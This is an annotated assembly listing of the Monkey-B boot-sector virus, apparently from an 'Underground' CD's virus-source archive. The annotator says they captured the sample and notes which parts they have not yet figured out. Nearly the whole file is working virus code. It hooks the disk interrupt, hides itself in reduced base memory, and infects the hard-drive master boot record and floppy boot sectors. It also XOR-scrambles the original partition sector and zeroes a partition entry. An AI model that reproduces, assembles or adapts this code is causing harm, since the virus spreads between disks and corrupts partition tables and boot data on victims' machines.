home *** CD-ROM | disk | FTP | other *** search
/ Underground / Underground CD1.iso / virii / zrodla / m / monkey-b.asm < prev    next >
Encoding:
Assembly Source File  |  1998-01-14  |  10.0 KB  |  345 lines

  1.         jmp     short virus_start       ;all jmps are short
  2.         nop     
  3.         mov     ss, ax
  4.         mov     sp, 7c00h
  5.         mov     si, sp
  6.         push    ax
  7.         pop     es
  8.         push    ax
  9.         pop     ds
  10.         sti
  11.         cld
  12.         mov     di, 0600h
  13.         mov     cx, 100h
  14.         repnz   movsw
  15.         db      0eah, 1dh, 6, 0, 0     
  16.                 ;jmp far 0000:061dh
  17.         
  18.         mov     si, 7beh
  19.  
  20.  
  21.  
  22. virus_start:
  23.        cli                      ;no system interrupts
  24.        sub      bx, bx          ;zero bx
  25.        mov      ds, bx          ;
  26.        mov      ss, bx
  27.        mov      sp, 7c00h       ;just below boot data area
  28.        
  29.        db       0eah, 2fh, 0, 0c0h, 7
  30.                 ;***thats a jmp far  07c0:002f, which is next instruction
  31.                 ;***this sets offsets to org 0
  32.        
  33.        
  34.        int      12h             ;get sys mem in ax
  35.        mov      si, 4ch
  36.        push     si
  37.        cmp      byte ptr cs:[00f2h], 2 ;test for BIOS mem location
  38.        jz       next_pt1
  39.        call     shrink_mem
  40.  
  41.        mov      di, 01fc
  42.        mov      cx, 2
  43.        cld
  44.        repz     movsw           ;load int13h address into virus INT 13h handler
  45.                                 ;which will start at es:0
  46.        jmp   short   next_pt2
  47.  
  48. next_pt1:
  49.         call    set_es
  50. next_pt2:
  51.         pop     si                      ;points to INT 13h vector entry
  52.         mov     word ptr [si], 007dh    ;offset
  53.         mov     word ptr [si + 2], ax   ;ax == es, where virus handler is going
  54.  
  55.         push    cs
  56.         pop     ds                      ;ds == 0 up to this point
  57.         call    mov_virus               ;ds now == 7c0h
  58.  
  59.         push    es
  60.         mov     ax, 0062h               ;for retf to virus
  61.         push    ax                      
  62.         sti                             ;enable interrupts
  63.         retf                            ;to es:62h -> see next routine
  64.  
  65. set_virus:         ;<- this is offset 62h! at virus location es:0062h
  66.  
  67.         mov     es, cx                  ;like xor es, es
  68.         mov     bx, sp                  ;still at 7c00h!
  69.         push    cx
  70.         push    bx                      ;for return to 0000:7c00
  71.  
  72.         mov     dx, 0080h               ;c: drive, cyl 0
  73.         call    set_si                  ;haven't figured this out yet
  74.  
  75.         call    do_virus_thing
  76.  
  77.         mov     cl, 3
  78.         mov     dx, 80h
  79.         call    read_drive
  80.         call    scramble_boot
  81.         retf
  82.  
  83. int_13h_handler:
  84.         push    ds
  85.         push    si
  86.         push    di
  87.         push    ax
  88.         push    cx
  89.         push    dx
  90.         call    set_si
  91.         cmp     ah, 2                   ;read operation?
  92.         jnz     not_two
  93.         push    dx
  94.         sub     ax, ax
  95.         int     1ah
  96.         cmp     dl, 40h
  97.         pop     dx
  98.         jnb     not_two
  99.         call    do_virus_thing          ;write a virus to the drive or disk
  100.  
  101. not_two:
  102.         pop     dx
  103.         pop     cx
  104.         pop     ax
  105.         pop     di
  106.         push    dx
  107.         push    cx
  108.         push    ax
  109.         cmp     cx, 3
  110.         jnb     not_three
  111.         cmp     dh, [si]                ;check for read/write to virus sector
  112.         jnz     not_three
  113.         cmp     ah, 2
  114.         jz      call_int13h
  115.         cmp     ah, 3
  116.         jnz     not_three
  117.         cmp     dl, 80h
  118.         jb      not_three
  119.         sub     ah, ah
  120.         jmp  short   not_three
  121.  
  122.  
  123. call_int13h:    
  124.         call    int_13h_call
  125.         jb      end_handler    
  126.         call    check_data1
  127.         jz      point_two      
  128.         call    check_data2
  129.         jz      point_two
  130.         clc
  131.         jmp  short   end_handler
  132.  
  133. point_two:
  134.         call    set_real_partition
  135.         mov     dh, [si + 1]
  136.         pop     ax
  137.         call    int_13h_call
  138.         call    scramble_boot
  139.         pop     cx
  140.         pop     dx
  141.         jmp  short   end_here
  142. not_three:
  143.         call    int_13h_call
  144. end_handler:
  145.         pop     ds
  146.         pop     ds
  147.         pop     ds
  148. end_here:
  149.         pop     si
  150.         pop     ds
  151.         retf    2
  152.  
  153. data_area       db      0, 1, 1, 0, 0, 0, 0, 80h, 1, 0, 5, 9, 0bh, 3, 5, 0eh, 0eh
  154.  
  155. read_drive:
  156.         mov     ax, 0201h               ;read 1 sector
  157. int_13h_call:
  158.         pushf                           ;simulate INT
  159.         db      2eh, 0ffh, 01eh, 0fch, 1 ;cs:call far [01fch]
  160.         ret                                                
  161.  
  162. shrink_mem:
  163.         dec     ax              ;contains mem from int 12h
  164.         mov     di, 414h
  165.         dec     di              ;this has got to be a "fool the scanner" trick
  166.         mov     [di], ax        ;shrink sys me by 1 K
  167. set_es:
  168.         mov     cl, 6
  169.         shl     ax, cl          ;get top of base mem in segs
  170.         add     al, 20h         ;add a little more to be safe
  171.         mov     es, ax          ;and set es. This will be about 9fe0h or so
  172.                                 ;if full 640K mem
  173.         ret
  174.  
  175. write_drive:                                                    
  176.         mov     dh, [si]        ;on first infection si == 0 - head 0
  177.         mov     ax, 0301h       ;write one sector
  178.         call    int_13h_call    ;and do it
  179.  
  180.         ret
  181.  
  182. do_virus_thing:
  183.         sub     cx, cx
  184.         inc     cx
  185.         push    cx                      ;god, mov cx, 1
  186.         mov     dh, [si]                ;location of sector
  187.         call    read_drive              ;read in one sector, this will be partition
  188.                                         ;on first infection
  189.         jb      end_do_virus_thing      ;error? lets abort
  190.  
  191.         call    check_data1             ;do we have 9219h sectors in last partition? 
  192.         jz      end_do_virus_thing      ;if so, get out of town                
  193.         
  194.         call    check_data2
  195.         jnz     next_virus_pt
  196.  
  197.         cmp     word ptr es:[bx + 1fah], 0 ; 0 sectors in last partition?
  198.         jz      end_do_virus_thing         ; quit     
  199.         
  200.         mov     word ptr es:[bx + 1fah], 0 ;this will kill last partition
  201.         mov     cl, 1                      ;sector 1?
  202.  
  203.         call    write_drive
  204.         jb      end_do_virus_thing            ;error abort  
  205.         inc     cx                          ;sector 2?
  206.         mov     dh, [si + 2]
  207.         
  208.         call    read_drive                  ;get the boot sector
  209.         jb      end_do_virus_thing
  210.  
  211.         pop     ax                          ;should == 1    
  212.         push    cx                          
  213.  
  214. next_virus_pt:
  215.  
  216.         call    set_real_partition
  217.         call    scramble_boot
  218.  
  219.         inc     si
  220.         call    write_drive
  221.  
  222.         dec     si
  223.         jb      end_do_virus_thing
  224.  
  225.         call    scramble_boot
  226.  
  227.         push    cx
  228.         call    mov_virus
  229.         pop     cx
  230.         push    dx
  231.         mov     dl, [si + 3]
  232.         
  233.         ;mov     word ptr es:[bx + 74h], dx
  234.         db      26h, 89h, 97h, 74h, 00
  235.         ;****equivalent, I did this due to A86 translation being a little
  236.         ;****different than the virus I captured
  237.         
  238.         pop     dx
  239.         
  240.         ;mov     byte ptr es:[bx + 72h], cl
  241.         db      26h, 88h, 8fh, 72h, 00
  242.         ;****equivalent, I did this due to A86 translation being a little
  243.         ;****different than the virus I captured
  244.  
  245.         mov     word ptr es:[bx + 01feh], 0AA55h
  246.         pop     cx
  247.         push    cx
  248.         mov     byte ptr es:[bx + 00f2h], cl
  249.         call    write_drive
  250.  
  251. end_do_virus_thing:
  252.         pop     ax
  253.         ret
  254.  
  255. mov_virus:
  256.  
  257. ;****************** whole virus including first jmp is stored
  258. ;****************** and accessed later for disk/drive infections
  259.         
  260.         push    si
  261.         mov     di, bx                  ;di == 0
  262.         mov     si, 20h                 ;this is where virus starts
  263.         add     di, si                  ;he's keeping space between 1st jmp
  264.                                         ;and the virus loading stub constant
  265.                                         ;to facilitate future infections
  266.         mov     cx, 1dch                ;we're moving this many
  267.         repz    movsb                   ;and mov 'em
  268.  
  269.         mov     di, bx                  ;like xor di, di 
  270.         sub     si, si                  ;like xor si, si
  271.  
  272.         mov     cl, 3                   ;movs the first jmp 
  273.         repz    movsb                   ;instruction!        
  274.         
  275.         pop     si
  276.         ret
  277. ;************checks for number of sectors in last partition!
  278. check_data1:
  279.         cmp     word ptr es:[bx + 01fah], 9219h
  280.         ret
  281.  
  282. ;************not sure what is going on here, offset 119h is in the partition code
  283. ;************this ain't a virus ID
  284. check_data2:
  285.         cmp     word ptr es:[bx + 119h], 6150h
  286.         ret
  287.  
  288. scramble_boot:
  289.         push    di
  290.         push    cx
  291.         push    ax
  292.         mov     di, bx
  293.         mov     cx, 200h
  294.         cld
  295. scram_loop:        
  296.         mov     al, byte ptr es:[di]
  297.         xor     al, 2eh
  298.         stosb
  299.         loop    scram_loop
  300.  
  301.         pop     ax
  302.         pop     cx
  303.         pop     di
  304.         ret
  305.  
  306. set_si:
  307.         push    cs
  308.         pop     ds
  309.         mov     si, 00eah               ;location of real partition
  310.         cmp     dl, 80h                 ;hard drive access?
  311.         jb      end_set_si              ;no? lets go
  312.         mov     si, 00eeh               ;hard drive infection routine
  313. end_set_si:
  314.         ret
  315.  
  316. ;***********I think this loads the real partition which was read from sector 2
  317. ;***********DS equ 7c0h
  318. set_real_partition:
  319.  
  320.         push    di
  321.         push    si
  322.         mov     al, byte ptr es:[bx + 14h]
  323.         mov     cx, 4
  324. loop_ptr:        
  325.         mov     si, cx
  326.         dec     si
  327.         cmp     [si + 00f3h], al
  328.         jz      set_cl
  329.         loop    loop_ptr
  330.         mov     cl, 3
  331.         jmp  short   bye
  332. set_cl:        
  333.         mov     cl, [si+00f7h]
  334. bye:
  335.         pop     si
  336.         pop     di
  337.         ret
  338.  
  339.  
  340. scraps  db      05dh, 7fh, 7eh, 7bh, 75h, 89h, 19h, 92h, 0, 0, 55h, 0aah
  341.  
  342.  
  343.  
  344.  
  345.